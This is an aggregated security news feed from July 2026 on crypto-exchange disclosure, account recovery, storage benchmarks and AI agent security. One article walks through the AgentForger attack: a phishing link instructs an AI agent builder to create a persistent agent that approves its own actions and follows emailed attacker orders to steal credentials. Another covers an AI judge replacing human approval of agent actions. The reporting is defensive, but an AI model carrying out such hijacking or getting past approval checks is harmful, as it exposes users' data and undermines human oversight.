Thailand's cryptocurrency exchange Bitkub has rejected allegations of fraud after the Thailand SEC filed a criminal complaint related to the company's disclosures following the Bitkub cyberattack in 2021. The case focuses on how the exchange reported the impact of the cyberattack on Bitkub to regulators, rather than on the safety of customer funds. 

In response to the complaint, Bitkub stated that all customer assets currently held on its platform remain safe, fully accounted for, and protected in accordance with applicable regulations. The company argued that the allegations stem from decisions made during the aftermath of the 2021 security breach and do not reflect fraudulent conduct. 
Thailand SEC Files Complaint Over the 2021 Bitkub Cyberattack 
On 23 July 2026, the Thailand SEC filed a criminal complaint against Bitkub Online Co., Ltd. and its former directors, Sakolkorn Sakavee and Thaweesap Rawan. The regulator alleged that the company's daily net capital reports submitted between 10 May and 30 October 2021 failed to accurately reflect the material reduction in its digital asset holdings caused by the Bitkub cyberattack. 

According to the regulator, the reports did not disclose the impact of the theft on the company's asset balance. The Thailand SEC also accused the two former directors of making false entries in company documents that gave the impression that customer assets were still being held normally and that the company had not suffered any damage. 

The complaint has been referred to Thailand's Economic Crime Suppression Division for further investigation. Following that process, the matter may be forwarded to prosecutors and the courts. The Thailand SEC noted that filing a criminal complaint does not represent a final determination of guilt. 
Bitkub Says Disclosure Decision was Intended to Prevent Customer Losses
Following media reports about the complaint, Bitkub published a statement on LinkedIn explaining its position on the cyberattack and the subsequent reporting decisions. 

The company said the allegations relate to an incident in early May 2021, when one of its digital asset wallets was compromised by cybercriminals. Bitkub acknowledged that the breach was not disclosed at the time. 

According to the company, the individual responsible for disclosure obligations deliberately withheld information about the wallet compromise. Bitkub said the decision was made to avoid triggering a "bank run," or mass withdrawals of digital assets by customers, while the company worked to replace the stolen assets. 

The exchange stated: 

"The decision of such individual not to disclose the incident was made with the intention to prevent a bank run—that is, a mass withdrawal of digital assets by customers upon learning of the theft—which could have rendered the Company unable to procure sufficient replacement digital assets for the customers while the recovery process was still ongoing." 

Bitkub added that such a scenario could have resulted in significant customer losses and broader damage to Thailand's digital asset industry. 

The company also stressed that, at the time of the Bitkub cyberattack, all of its digital asset wallet security systems complied with standards prescribed by the relevant authorities and had been audited. 
Co-founders Replaced Stolen Assets After Cyberattack on Bitkub 
Although the digital assets stolen during the cyberattack on Bitkub were never recovered, the company said its co-founders voluntarily absorbed the financial loss. 

According to Bitkub, the co-founders purchased digital assets matching the same types and quantities as those stolen and transferred them to the company. As a result, the exchange said neither its customers nor the business ultimately suffered any financial loss from the incident. 

In its statement, Bitkub said: 

"As no bank run occurred, even though the stolen digital assets could not be recovered, the Co-Founders of the Bitkub Group voluntarily absorbed the loss by purchasing equivalent digital assets (in the same type and quantity as those stolen) and providing them to the Company. Consequently, neither the Company nor its customers suffered any financial loss from the theft." 
Thailand SEC Previously Confirmed Customer Assets Were Intact 
Bitkub also pointed to the findings of an earlier inspection conducted by the Thailand SEC after reports of the Bitkub cyberattack surfaced online. According to the company, the regulator verified that, as of 8 September 2025, all customer assets held by the exchange were safe and fully accounted for. 

The company reiterated this point in its latest statement, saying: 

"At the outset, for the sake of clarity and mutual understanding, the Company wishes to affirm that all customers' assets currently held by the Company are safe and fully accounted for. The Company reiterates its strict compliance with all applicable laws and regulations in safeguarding and maintaining customer assets." 

Bitkub maintained that the criminal complaint relates to historical reporting practices between May and October 2021, more than five years ago, rather than to the current condition of customer assets or any ongoing security concerns. 

As the investigation proceeds, the case will determine whether the company's reporting following the Bitkub cyberattack complied with regulatory requirements. For now, the complaint remains an allegation, and the legal process involving the Thailand SEC, investigators, prosecutors, and the courts has yet to reach a final conclusion. 


New infosec products of the week: July 24, 2026
Fri, 24 Jul 2026 06:59:41 +0200
Here’s a look at the most interesting products from the past week, featuring releases from Astelia, Druva, Swimlane, and ThreatDown. Druva brings backup, recovery and governance to AI workloads Druva has announced Druva AI Resilience, a new approach that helps…
Read more →
The post New infosec products of the week: July 24, 2026 appeared first on IT Security News.


New infosec products of the week: July 24, 2026
Fri, 24 Jul 2026 06:26:51 +0200
Here’s a look at the most interesting products from the past week, featuring releases from Astelia, Druva, Swimlane, and ThreatDown. Druva brings backup, recovery and governance to AI workloads Druva has announced Druva AI Resilience, a new approach that helps organizations recover, govern, and defend the systems, activity, and context behind AI-powered work. The launch introduces new and expanded capabilities for Microsoft Copilot, Claude Code, Druva Model Context Protocol (MCP), and Dru SRE Agent for … More →
The post New infosec products of the week: July 24, 2026 appeared first on Help Net Security.


AgentForger proves AI agents can become persistent insider threats
Fri, 24 Jul 2026 02:32:32 +0200

		
					  
						




A new attack method found by Zenity Labs reveals that AI agents are becoming persistent insiders that attackers can recruit, rather than malware they have to install.



Its researchers have discovered AgentForger, a phishing-based attack that silently creates and launches a fully autonomous AI agent within OpenAI workspaces.



Once running, the agent has full access to apps like Outlook, Slack, SharePoint, and Google Drive. It is configured to operate indefinitely without further user interaction, can approve its own access by toggling “never ask” settings, and can continue to act on new assignments sent via email by the attackers that control it. Broad, unfettered access to systems allows it to perform reconnaissance, harvest sensitive data and credentials, impersonate victims, and launch phishing campaigns.



While OpenAI resolved the vulnerability four days after disclosure, on a larger scale, AgentForger sheds light on what can happen when AI agents go rogue.



“We’re moving into a world where software doesn’t just help people work. It works alongside them,” said Michael Bargury, co-founder and CTO of agentic AI security platform Zenity. “As AI agents become more capable, attackers will naturally look for ways to influence them, just as they’ve always looked for ways to influence people.”



A ‘persistent operator’ that acts without approval



OpenAI’s Workspace Agents can connect and work autonomously across Outlook, Gmail, Slack, Google Drive, SharePoint, and Teams. Users open the agent builder, describe what the agent can do in natural language, connect to tools, set approvals, review and test, schedule actions, then publish. For instance, an agent can autonomously handle incoming emails, review and take actions with approval, gather information from various sources to send out daily briefings, or automatically respond to questions in ChatGPT or Slack channels.



Normally, this is “useful automation,” Zenity AI red team researcher Mike Takahashi wrote in a blog post. But in this attack, “the same scheduler becomes the persistence mechanism.”



The creation workflow kicks off the moment a user clicks on a phishing link containing instructions from the threat actor. For the attack to work, a victim must be logged into ChatGPT and Workspace Agents, and have at least one integration with another app, such as Outlook, Gmail, Slack, Google Drive, SharePoint, or Teams.



Because those connections already exist, OAuth consent screens are not triggered. Furthermore, the victim does not need to click on another link, keep a Builder tab open, or even visit ChatGPT again.



The forged agent is a “persistent operator;” it is installed on the original click and given a schedule, and at those predetermined times, the agent invokes itself, scans for emails from attacker addresses with the subject line “task”, carries those orders out, then returns results to the same attacker-controlled email address.



It goes undetected because the attacker prompt instructs the Builder to toggle Outlook to never ask for approval of its actions. Typically, the default is “always ask,” to keep agents from taking unauthorized action; that switch gives agents the ability to act without asking for human approval.



“AgentForger showed that an attacker could deploy an autonomous insider agent inside your ChatGPT workspace with a single click,” said Bargury. From there, it can continue to access information, harvest credentials from various sources, impersonate employees, and carry out phishing attacks and fraud while “leveraging the trusted victim’s identity.”



A ‘planted accomplice’ that does all the work



Once activated, AgentForger can perform reconnaissance to create an internal map of a company. For instance, agents can scan Outlook, Slack, Teams, Google Drive, SharePoint, or calendar data to identify people, roles, active projects, internal discussions, or all-hands recurring meetings. This can help attackers identify where in the enterprise to target next, based on active teams and channels, projects in the works, or prominent users.



“This is the kind of internal context an attacker normally has to build slowly,” Takahashi noted. But in this scenario, action is based on a single emailed assignment. The attacker’s “planted accomplice” does all the work.



In another scenario, the agent can steal data by searching for and identifying financial documents, business agreements, or invoices. Or, it can steal credentials by scanning for messages containing passwords, one-time codes, access tokens, password recovery links, or API keys. Further, it can impersonate victims to carry out phishing scams, for instance, by sending legitimate-looking Teams messages instructing users to confirm their credentials on a fake Microsoft login page.



In all cases, collected information is organized, analyzed, and sent back to the attacker.



“AgentForger points to something much bigger than a single vulnerability,” said Bargury. “It’s less about one bug and more about understanding how the security model changes as AI becomes part of everyday business operations.”



FOMO exposing security gaps



This isn’t necessarily about trust, but more about the need to move fast and adapt, Bargury emphasized. AI agents are helping employees automate work, make decisions faster, and get more done. But enterprises fear they’ll fall behind if they don’t move quickly enough.



“The challenge is that we’re introducing a fundamentally new kind of technology into the enterprise,” said Bargury. “The pressure to integrate the next AI feature is outpacing the security controls needed to safely deploy it.”



However, the answer isn’t to slow down adoption, he emphasized; the business value is too significant. Rather, the first step is understanding where AI agents exist, who created them, what they’re connected to, and what they’re allowed to do. And when it comes to autonomous agents, enterprises need to pay attention to the processes that trigger them: A schedule, an incoming email, or another automated event.



“Those triggers should be governed just as carefully as the agent itself,” said Bargury.



High-impact actions should require approval where appropriate, and security teams should be able to quickly disable an agent or its triggers if something doesn’t look right, he said.



More broadly, AI agents are introducing the need for a new security model, he pointed out. The question is no longer just “Does this agent have permission?” It’s also, “Is this the behavior we intended?”



“The organizations that answer both questions will be in the strongest position to adopt AI safely,” Bargury said.



You Can Now Use a Selfie Video If You’re Locked Out on Google
Fri, 24 Jul 2026 02:25:40 +0200
It can be frustrating to be locked out of your Google account, but here’s a new option to restore your access.


I built a Linux filesystem benchmark for corruption, snapshots, rebuilds and ENOSPC across 26 storage layouts
Fri, 24 Jul 2026 00:13:06 +0200
Most filesystem benchmarks measure throughput on a freshly formatted single device. That is useful, but it misses many of the reasons people choose btrfs, ZFS or bcachefs in the first place.
 I built modern-fs-benchmark to examine modern filesystems as complete storage systems, including their features, failure modes and behavior over time.
 The current matrix contains 26 configurations across btrfs, ZFS, bcachefs, ext4 and XFS over md/LVM, dm-integrity, native and LUKS encryption, parity layouts, and XFS on a ZFS zvol.
 Hosted CI dashboard:
 https://bartosz.fenski.pl/modern-fs-benchmark/
 Experimental real-hardware dashboard:
 https://bartosz.fenski.pl/modern-fs-benchmark/real-hw/
 Apache-2.0 licensed source and complete methodology:
 https://github.com/fenio/modern-fs-benchmark
 The raw benchmark datasets are published under CC BY 4.0. Every result records the kernel and filesystem tool/module versions. CI artifacts also contain a full command trace, so the exact workload is inspectable rather than hidden behind a chart.
 Why I started this project
 Many filesystem benchmarks follow a familiar pattern: create a filesystem with mostly default options, mount it, run fio or another generic workload, and compare throughput.
 General-purpose suites such as the Phoronix Test Suite are useful for conventional performance comparisons, but they do not focus on the machinery that makes modern copy-on-write filesystems interesting.
 I wanted a benchmark designed around btrfs, ZFS and bcachefs as multi-device storage systems rather than treating them as interchangeable replacements for ext4 on a single freshly formatted disk.
 That means testing behavior such as:
 - Redundancy and degraded operation
 - Snapshot aging, scaling and reclamation
 - Compression and encryption
 - Reflinks and clone divergence
 - Fsync tail latency and responsiveness under load
 - Rebuild and scrub behavior
 - Near-full and hard-ENOSPC behavior
 - Data integrity and recovery from corruption
 Ext4 and XFS over md, LVM and dm-integrity are included as classic-stack baselines so the costs and benefits of integrated CoW designs can be compared with layered alternatives.
 Silent corruption is one particularly important example. When one redundant copy is deliberately corrupted behind the filesystem, checksumming filesystems such as btrfs, ZFS and bcachefs can identify the damaged copy and recover from a valid replica.
 Traditional md/LVM redundancy without data checksums can notice during a scrub that its copies disagree, but it cannot determine which one is correct. In my tests, some classic configurations returned corrupted data successfully without an application-visible error.
 The dm-integrity configuration shows that a classic layered stack can obtain integrity protection too, with a measurable performance cost.
 An important limitation
 The main dashboard uses loop devices on GitHub-hosted VMs. Absolute throughput numbers and small differences between filesystems should not be interpreted as hardware rankings.
 The hosted runs are primarily useful for:
 - Correctness and integrity outcomes
 - Comparisons within the same job
 - Large behavioral differences
 - Snapshot-aging and near-full shapes
 - Trends across repeated runs
 Real disks are required for meaningful absolute performance, concurrency scaling, device parallelism and mixed-media topologies.
 I am aware of this limitation and do not want the hosted dashboard to suggest more precision than the underlying environment can provide.
 The real-hardware experiment
 Kent Overstreet, the creator of bcachefs, made one of his Hetzner machines available for a real-hardware experiment.
 The server had two physical NVMe devices. It completed three full benchmark runs, which are available in the separate real-hardware dashboard. These runs provided meaningful absolute measurements and exposed concurrency behavior that cannot be observed when several loop devices share one virtual disk.
 During the fourth run, one NVMe controller entered the kernel’s dead state. The existing machine environment had its operating system on RAID0 across the two NVMe devices, so the hardware failure also made part of /nix/store unreadable and eventually prevented new SSH sessions.
 The incomplete fourth run is not being published as benchmark data. This was a failure of the underlying hardware, not a result attributable to any filesystem being tested.
 I am grateful to Kent for providing the machine and making the real-hardware experiment possible. Without that access, the three existing hardware runs would not exist.
 Where I would like to take it
 Better hardware would not merely produce more reliable throughput numbers. It would enable an entirely new class of tests designed for multi-device and multi-tier filesystems.
 I would eventually like to run the suite on a machine containing several storage classes, for example two HDDs, two SSDs and an NVMe device.
 That could support scenarios such as:
 - HDD, SSD and NVMe baselines using identical workloads
 - bcachefs foreground and background targets
 - ZFS HDD data vdevs with SSD special vdevs
 - Separate ZFS L2ARC and SLOG experiments
 - LVM dm-cache in writeback and writethrough modes
 - Metadata and small-block placement on faster media
 - Foreground latency during background migration
 - Contention between fast and slow storage tiers
 - Degraded operation and rebuild under application load
 - Performance before, during and after promoting or evacuating a storage tier
 These are the kinds of scenarios for which multi-device and multi-tier filesystems are built, but they cannot be represented honestly when every “device” is a loop file backed by the same cloud disk.
 I am considering either renting a suitable dedicated server or eventually building and hosting my own machine. Providers such as Worldstream offer configurations close to what I need, but the recurring cost is currently outside the project’s budget.
 For now, the benchmark will remain in its hosted-CI form for an unknown amount of time. The existing dashboard will continue to be useful for correctness, behavioral comparisons and regression tracking, but it cannot answer every real-hardware performance question or model complex mixed-media topologies.
 I am also open to running the suite on hardware provided by someone else. A useful environment would need Linux root access, clearly identified block devices that may be wiped, and enough uninterrupted access to complete repeated runs. The hardware description, methodology and resulting data would remain public.
 I would appreciate technical feedback:
 - Which current tests are misleading or unfair?
 - Which failure scenarios are missing?
 - Which mixed-media topologies would be most useful?
 - Which additional filesystems or layered stacks should be included?
 - Which results deserve deeper investigation?
 The methodology, implementation and raw results are public. If a filesystem is being tested in a way that misrepresents it, I consider that a bug in the benchmark.
 
   submitted by    /u/bfenski  
 [link]   [comments]


Russian Espionage Group Exploited Zimbra Zero-Day to Steal Mail and 2FA Codes
Thu, 23 Jul 2026 20:54:10 +0200
A Russian state-supported espionage group spent months reading Western mailboxes through a then-unknown flaw in Zimbra's webmail client.

The payload goes after the last 90 days of email, the organization's entire email directory, the password saved in the browser and the codes kept for two-factor recovery. Opening the message was enough to start it.

The NSA, CISA and partner agencies published


I asked a disaster survival psychologist if AI usage should be the same level of 'emergency' as Pompeii — but instead she's worried about a technology catastrophe that I didn't even consider
Thu, 23 Jul 2026 20:06:00 +0200
It's not every day you get to talk to a survival psychologist in a hit National Geographic documentary about your technology fears — but how worried should we be by the rise of AI?


OpenAI sued after ChatGPT used religious faith to convince a man to not talk to a doctor
Thu, 23 Jul 2026 19:28:10 +0200
ChatGPT leveraged faith to convince a man with a cardiac issue stay home instead of seeking medical help. Now, facing years of recovery and profound financial damage, the man is suing OpenAI over the ordeal.


ChatGPT isn't a medical professional. Credit: OpenAI

In a lawsuit filed in San Francisco Superior Court, Florida pastor Scott Winters argues that ChatGPT used his faith against him. After asking the chatbot about his symptoms, he was told that they were likely "another minor piece of the long story" and that "God did not design your body to endlessly fail."

After going back and forth with ChatGPT's Health feature for six weeks, Winters finally spoke to a real medical professional. He was then diagnosed with a dangerous blockage of arteries in both of his lungs.


 Continue Reading on AppleInsider | Discuss on our Forums


An AI now judges every move Rubrik's agents make, its AI chief said at VB Transform 2026 — but no one's measured if the judge is right
Thu, 23 Jul 2026 19:19:49 +0200
At a CISO roundtable organized by Anthropic's chief information security officer, Dev Rishi asked a simple question: Did everyone in the room have their AI governance and security policies written down? Every hand went up — about 14 people, by his count. His follow-up, about how anyone actually enforces those policies in practice, got a different response. "And everybody chuckled," Rishi, the GM of AI at Rubrik, recalled at VB Transform 2026 fireside chat in Menlo Park. "It was like the dirty secret in the room that everyone has these policies, but no way to actually make them real."
“Our founder and CTO has actually been really pushing to enable our agents in YOLO mode,” Rishi told the audience. That admission comes from a publicly traded data security firm whose business is backing up what he called the most important data in the world.
YOLO mode strips the permission prompt out of agent workflows and lets the agent act on its own. In Rubrik's version, a second AI judges every action in real time against policy in place of a human clicking approve. Rubrik is running the experiment on itself first. Rishi treats autonomy as a settled capability question and an open judgment question. "If you ask the agent to act autonomously, it will," he said. "It's a question that you have internally. Should it?"
Rubrik earned that question the hard way. When Claude Code and Cowork pilots rolled out, the company required every command to run in ask mode so the employee issuing it carried the liability, and the developer pushback filled a single Slack thread 120 messages deep. 
"The developers basically are pushing back, and they're like, this is like the iTunes service agreement. I'm just hitting check, check, check, check, check, check, check," Rishi said. "There's no way that I can actually read through this. And it becomes security theater." Roughly 80% of respondents are in the same bind, Rishi said, citing Rubrik Zero Labs research that found monitoring and approving agent actions takes more time than the agents save. The State of the Agent, the April report behind that figure, surveyed more than 1,600 IT and security leaders.
SAGE is the reason Rubrik trusts the bet. Short for Semantic AI Governance Engine, SAGE is the arbitration layer inside Rubrik Agent Cloud that watches every action an agent takes and reads the semantic intent behind it, then rules the action in or out against policies written in natural language. "We took what people said was human in the loop, a good idea, and we replaced it with AI in the loop," Rishi said, describing the pitch to security chiefs he characterized as skittish about non-deterministic systems.
Security approval, not cost, blocks AI ROI
Rishi’s path to Rubrik ran through Predibase, the generative AI infrastructure startup he co-founded and ran as CEO until Rubrik agreed to acquire it in June 2025. Before that, he led ML product at Google on the team that became Vertex AI, served as Kaggle's first product manager as it grew from about one million to ten million users, and holds bachelor's and master's degrees in computer science from Harvard. 
Over roughly his first three and a half months at Rubrik, Rishi set up 200 customer conversations with IT and security leaders across a customer base that looks like the Global 2000, asking open-ended questions about cost, latency, performance, and orchestration. "Pretty consistently, what I heard through all of those conversations was that all of those are pretty secondary," he said. "The main challenge is actually, how do I get this approved from a security and risk standpoint? I'm concerned about all the different things that could go wrong. Actually, I felt like that was one of the biggest things constraining ROI."
VentureBeat Pulse research presented on the Transform stage earlier in the day confirms the gap Rishi kept hearing. Two-thirds of enterprises, 66%, already allow or are actively building toward production deployment with zero human review, yet only 5% fully trust the automated evaluations that would make that decision. 
One AI reading what the rulebook can't
Rubrik's own policies exposed why written rules fail as enforcement. One internal rule states that agents should respect Rubrik's customer data use policy, which sounds enforceable until someone tries. "Rubrik's customer data use policy is like a three-page document of legal text," Rishi said. "I have no idea how to write that in there as a rule." Asked on stage how a team of AI infrastructure people took on a problem that security engineers own, Rishi answered, "with a lot of naivety and innocence, honestly." His team bet that models good at understanding language could police other models, and SAGE became the answer.
The case for putting a model in the judgment seat comes down to precision. A rule like "agents should not be able to edit revenue fields in Salesforce" fails in conventional tooling because Salesforce does not delineate which fields count as revenue, Rishi explained, so administrators fall back on approving every Salesforce action by hand. SAGE reads the intent instead and acts as a judge, carrying organizational context, which can tell a benign lookup from the edit the policy prohibits.
Keeping the judge small is what makes the economics work. SAGE runs on a small language model that Rishi said operates at an order of magnitude lower cost and latency than a frontier LLM. "If I told you, don't worry, you're gonna be secure and governed, but I'm gonna double your cost and latency, you would tell me to get out of the room," Rishi said.
When Rishi asked who in the audience had worried about token consumption over the past year, half the hands went up. "And I guess the other half is probably just too lazy to raise their hand," he said.
SAGE is an aggregation of judges based on parameter-efficient fine-tuning that Rubrik uses to take on task-specific variants of a base model with shared organizational context. One judge watches for tool-use hallucinations while another suppresses PII before it can leave, each running as its own enforceable policy. Security and GRC teams have started writing financial rules into the same layer, including one internal policy barring AI spend on personal projects.
The lethal trifecta
Asked which attacks worry him most, Rishi pointed at the lethal trifecta, the term security researcher Simon Willison coined in June 2025 for an agent that holds private data while taking in content nobody vetted, with a channel to send what it finds to the outside world. The danger, according to Rishi, is what happens when individually legitimate permissions stack. An agent granted Salesforce access and email access on an employee's credentials has done nothing wrong yet, with yet being the operative word. "A very simple example is that an agent can start pulling data from Salesforce and then decide to accidentally leak and exfiltrate that out via an email," he told the audience. A financial services company he met the morning of the session made the point for him, telling Rishi that none of the individual permissions are bad on their own and the agent needs every one of them to do its job. "It should have permission to each of those systems, but it's the combination that ends up becoming really destructive," Rishi said.
Traditional identity and access management never priced in that combination because it relied on the judgment of the employee holding the credentials, Rishi argued, and agents supply none. "I can tell you the number of times Claude Code has tried to leak some of our sensitive source code to a public GitHub repository is incredibly high," he said. Cutting agents off from public resources entirely would defeat their purpose, which returns the problem to adjudicating intent in context rather than revoking access.
A separate VentureBeat June Pulse survey of 107 qualified enterprise respondents maps the blast radius of exactly this pattern. On the Transform stage that morning, VentureBeat research reported that 69% of companies run credential sharing somewhere in their agent fleet. Companies with shared credentials anywhere got hit more often, reporting a security incident or near-miss at a 63.5% rate (47 of 74), against 40.9% (9 of 22) where every agent carries its own scoped identity.
The attacks no single turn reveals
Rubrik Agent Cloud reached general availability in February, though not everything Rishi described ships in it yet. Backtesting is just starting to roll out. The feature replays an organization's historical agent actions and tool calls against a new policy, showing where the policy would have stepped in and where an action would have sailed through uncaught, with policy edits applied in real time. Rishi called that archive one of the most valuable data troves an enterprise holds.
Real-time detection and blocking turn out to be the entry point rather than the whole product. Some attacks never trip a single-action rule. "No individual turn of the conversation was problematic, but if you took the session as a full trace, that ended up being problematic," Rishi said. Agent Cloud runs batch analysis across entire session traces every hour or every day and surfaces what Rubrik calls insights, the problems no individual guardrail caught. The same Zero Labs report found that 88% say they lack the ability to roll back agent actions without system disruption, a recovery gap that sits squarely in Rubrik's original line of business.
A skeptical CISO will ask the question the fireside did not answer. SAGE is a non-deterministic model policing other non-deterministic models, and Rishi offered no false positive or false negative rate for the judge itself. The closest thing the architecture gives to an answer is auditability, since backtesting and the batch insights both leave a human-reviewable trail of each call SAGE made and whatever got past it. Who watches the watcher, for now, is a trail of receipts rather than a benchmark. Until that benchmark exists, AI in the loop stays an operational wager rather than a quantified control.
Three questions fall out of the session for security teams. How many of the guardrails now in production depend on a human clicking approve, and what happens to that workload as agent count grows? Does anything in the stack enforce semantic intent, or is it all allow and deny lists? And can the team backtest agent behavior against a new policy, then unwind a multi-turn session without taking systems down?
Rishi's timing has a market behind it. In the same VentureBeat research, 82% of enterprises still name their primary AI provider's built-in guardrails and cloud controls as their main agent security layer, and 59% plan to adopt, add, or replace agent security tooling within the next 12 months. Only 12% include an agent-identity product in what they are considering, even with credential sharing still the norm. Every CISO at that Anthropic roundtable had a policy document and no enforcement mechanism, and Rubrik built a product for the space between the two. YOLO mode is the bet that an AI watching other AIs can finally make the policies real.


Google adds selfie video authentication
Thu, 23 Jul 2026 16:10:36 +0200
Google has launched a new account recovery feature that uses selfie video authentication to help users regain access to locked accounts. This article has been indexed from CyberMaterial Read the original article: Google adds selfie video authentication
Read more →
The post Google adds selfie video authentication appeared first on IT Security News.


Google Adds Selfie Video Feature to Help Users Recover Locked Accounts Securely
Thu, 23 Jul 2026 15:14:29 +0200
Google has introduced a new identity verification feature called “selfie video” designed to help users regain access to locked accounts, marking a significant step in account recovery and authentication security. The feature aims to provide an additional sign-in method, especially useful when users lose access to their primary authentication devices. Announced by John Gronberg, Director […]
The post Google Adds Selfie Video Feature to Help Users Recover Locked Accounts Securely appeared first on Cyber Security News.


Google Adds Selfie Video Recovery for Users Locked Out of Their Accounts
Thu, 23 Jul 2026 14:16:04 +0200
Google on Thursday announced a new way for users to sign-in to their accounts by letting them take a selfie video.

The selfie for sign-in, per the tech giant, is another option on top of existing recovery methods to log in to an account, including an email address or a phone number. The idea is to use a video selfie as a way to regain access if a user ever gets locked out or doesn't have access


Google Adds Selfie Video Recovery for Users Locked Out of Their Accounts
Thu, 23 Jul 2026 14:11:58 +0200
Google on Thursday announced a new way for users to sign-in to their accounts by letting them take a selfie video. The selfie for sign-in, per the tech giant, is another option on top of existing recovery methods to log…
Read more →
The post Google Adds Selfie Video Recovery for Users Locked Out of Their Accounts appeared first on IT Security News.


RMM 2026: Endpoints monitoren, härten und mit KI verteidigen - OMR
Thu, 23 Jul 2026 13:47:40 +0200
Offene Schnittstellen vernetzen den Security-Stack über EDR, XDR, MDR, Backup und SIEM hinweg. ... IT Risk ManagementGovernance, Risk & ComplianceData ...


Investigating Synology RAID: Reassembly & Logical Imaging With Atola TaskForce 2
Thu, 23 Jul 2026 12:35:41 +0200
Author: Forensic Focus: Digital Forensics & DFIR - Bewertung: 0x - Views:1206 
This video demonstrates how digital forensic investigators can quickly reconstruct a proprietary Synology RAID, browse the file system before imaging, and perform targeted logical imaging instead of acquiring the entire multi-terabyte array.



In this video, TaskForce 2:



 -  Automatically detects Synology SHR and SHR-2 configurations



 -  Reconstructs RAID with no manual setup



 -  Lets you browse evidence before imaging



 -  Creates logical image of selected files and folders



 -  Recovers data from missing or damaged drives using RAID parity



If you're working with a NAS holding many terabytes of data and you just need a few key files, this workflow gets you there faster – without cutting corners on integrity.



⏱️ Timestamps



00:00 Intro

00:15 The problem with Synology RAID reassembly

01:10 How standard RAID works

01:20 What is Synology SHR

03:31 TaskForce 2: built for Synology RAID

03:35 Step 1: Connect sources

03:58 Step 2: RAID autodetection

03:50 Step 3: Review before imaging

04:23 Step 4: Logical imaging

05:01 Step 5: Missing/damaged RAID recovery



📝Resources:



🔗 Learn more about Atola TaskForce 2 RAID capabilities: https://atola.com/products/taskforce/forensic-raid-image.html



🔗 Follow Atola on LinkedIn:  https://www.linkedin.com/company/atola-technology/



Google Turns a Selfie Video Into Your Account’s Spare Key
Thu, 23 Jul 2026 12:04:33 +0200
The next time you’re locked out of your Google account, you can use your face as part of the account recovery process.


Principles every enterprise must test before the attack arrives
Thu, 23 Jul 2026 12:04:32 +0200

		
					  
						




I haven’t slept much in the past few weeks. Not because of some theoretical cyber risk that keeps many executives awake, but because reality just delivered a real wake-up call to our industry — a call that every executive must answer, now.



Imagine this: A major global enterprise, a company most of us interact with indirectly every single day, wakes up to find its entire digital environment obliterated. Thousands of employees in dozens of offices and remote locations are suddenly offline. Customers are cut off, supply chains grind to a halt and regulators are notified with a chilling admission: “We have no idea when we’ll be back.”



This wasn’t ransomware. There was no negotiation, no decryption key to buy, no easy way out. It was destruction — deliberate, coordinated and geopolitically motivated — not monetary.



As a chief customer officer who’s worked with countless customers on cyberattack risks, my perspective hits a bit differently than a CISO or a CTO. I see the aftermath, not just the attack surface. I see the faces behind the tickets, the operations team locked out of their own systems, the support agent answering panicked calls at dawn. And I ask: How many organizations have actually stress-tested their response to this scenario — not a hypothetical, but this very real, lights-out event? Here’s what every leader needs to confront today:



Recovery is not just a technical exercise



The first assumption to break during a real crisis is the belief that recovery is purely technical.



Many organizations have done tabletop exercises and have a backup and recovery playbook, so they feel prepared. They can point to backup windows, retention schedules and immutability controls. The moment a true blackout happens, a different reality surfaces. The people who own the recovery steps either do not know each other, lack the authority to make decisions without supervisor approval or need guidance from offline systems.



The reality is that technical infrastructure almost always holds up better than human infrastructure. Organizations have built their recovery strategy around the assumption that someone competent will be awake, available and empowered when a cyber event happens.



Still, backups are only as good as their independence. Let’s be blunt: If your recovery infrastructure shares identity, authentication or network trust with your Microsoft tenant (such as Azure, Microsoft 365 or Teams), you don’t actually have a recovery plan; you have a false sense of one — and a liability. A recent survey found that while 90% of organizations express confidence in their ability to recover from a cyber incident, fewer than one in three ransomware victims fully recovered their data.



True resilience means immutable, air-gapped backups, untouchable by the same compromise. Anything less is an illusion. I talk to customers about their recovery plans constantly. The customers who have rehearsed all scenarios sleep soundly. Those who haven’t? They’re rolling the dice.



Most business continuity plans ignore ‘total blackout’



I’ve reviewed hundreds of business continuity plans. Almost all assume partial failures — a region, an application, a data center. But what if every system, in every country, goes dark simultaneously? That’s an entirely different playbook. If your team hasn’t run a drill for a global, simultaneous outage, you’re not prepared. The probability is low, but the cost of being unready is existential.



Connected devices, OT systems, field hardware, partner integrations — they all plug into your enterprise network. When the core collapses, it’s not just IT at risk. It’s operational technology, physical safety systems and in regulated sectors, potentially human lives. Understanding and testing those interdependencies is non-negotiable.



This is also where boards need to change the conversation. A study found that only 5% of companies have cybersecurity experts on their board of directors. Recovery time objectives (RTOs) should not be buried in technical appendices. It’s all jargon to boards. That makes translation essential. RTOs must be explained in terms of business impact. “We can recover in four hours” is a technical statement. “Every hour of downtime costs us $2.3M and creates regulatory exposure in three jurisdictions” is a board statement.



That is the level of clarity leaders need.



The most prepared organizations do not wait for an incident to educate the board. They bring the conversation forward proactively. They frame recovery in business terms: revenue, regulatory standing, customer trust and brand reputation.



The most effective framing is often simple. Show the most critical systems. Show what happens if each one is down for one hour, four hours, 24 hours and 72 hours. Show the current recovery capability against each and then show the gap.



If your board is not demanding real answers, your business continuity strategy is likely underfunded and your business is exposed. This is a risk conversation worth forcing because the consequences do not stay inside IT. They can show up in customer churn or missed revenue and ruin an organization’s reputation.



Threat intelligence must be actionable, not archived



Geopolitical attacks, hacktivist campaigns and nation-state targeting aren’t abstract threats. They are active risks, and that intelligence cannot languish in the security team’s inbox. Executive leadership must be looped in — and immediately — so gaps can be closed before they’re exploited. Too often, intelligence enters the security operations function and never reaches the teams responsible for recovery infrastructure or executive decision-making.



If a threat actor is targeting a specific class of backup agents, the team responsible for those agents needs to know now, not two weeks from now. If intelligence suggests destructive activity against a sector, recovery owners need to validate isolation, access paths and restoration procedures immediately. If geopolitical tension increases the likelihood of targeting, executive leadership needs to understand what exposure exists and what actions are being taken. The organizations that survive aren’t just the best at incident response. They’re the ones who anticipated, rehearsed and invested before the attack.



Part of investing in a recovery strategy requires closing the loop between signal and action. The most prepared organizations have already mapped their critical recovery dependencies to specific threat categories. When intelligence touches one of those categories, there is a named owner and a clear set of actions. No guessing or forwarding emails into the void is needed because the distance between the warning and the employees’ ability to do something is shortened.



Looking ahead, the conversation will continue to evolve beyond traditional cyber response. Because in an AI-enabled enterprise, the new question is whether the data within those systems can still be trusted. When AI systems make decisions based on enterprise data, the attack surface becomes the data’s accuracy. A threat actor who quietly corrupts a dataset over 90 days before a recovery event has done more damage than just downtime. They can poison the inputs driving decisions across the business.



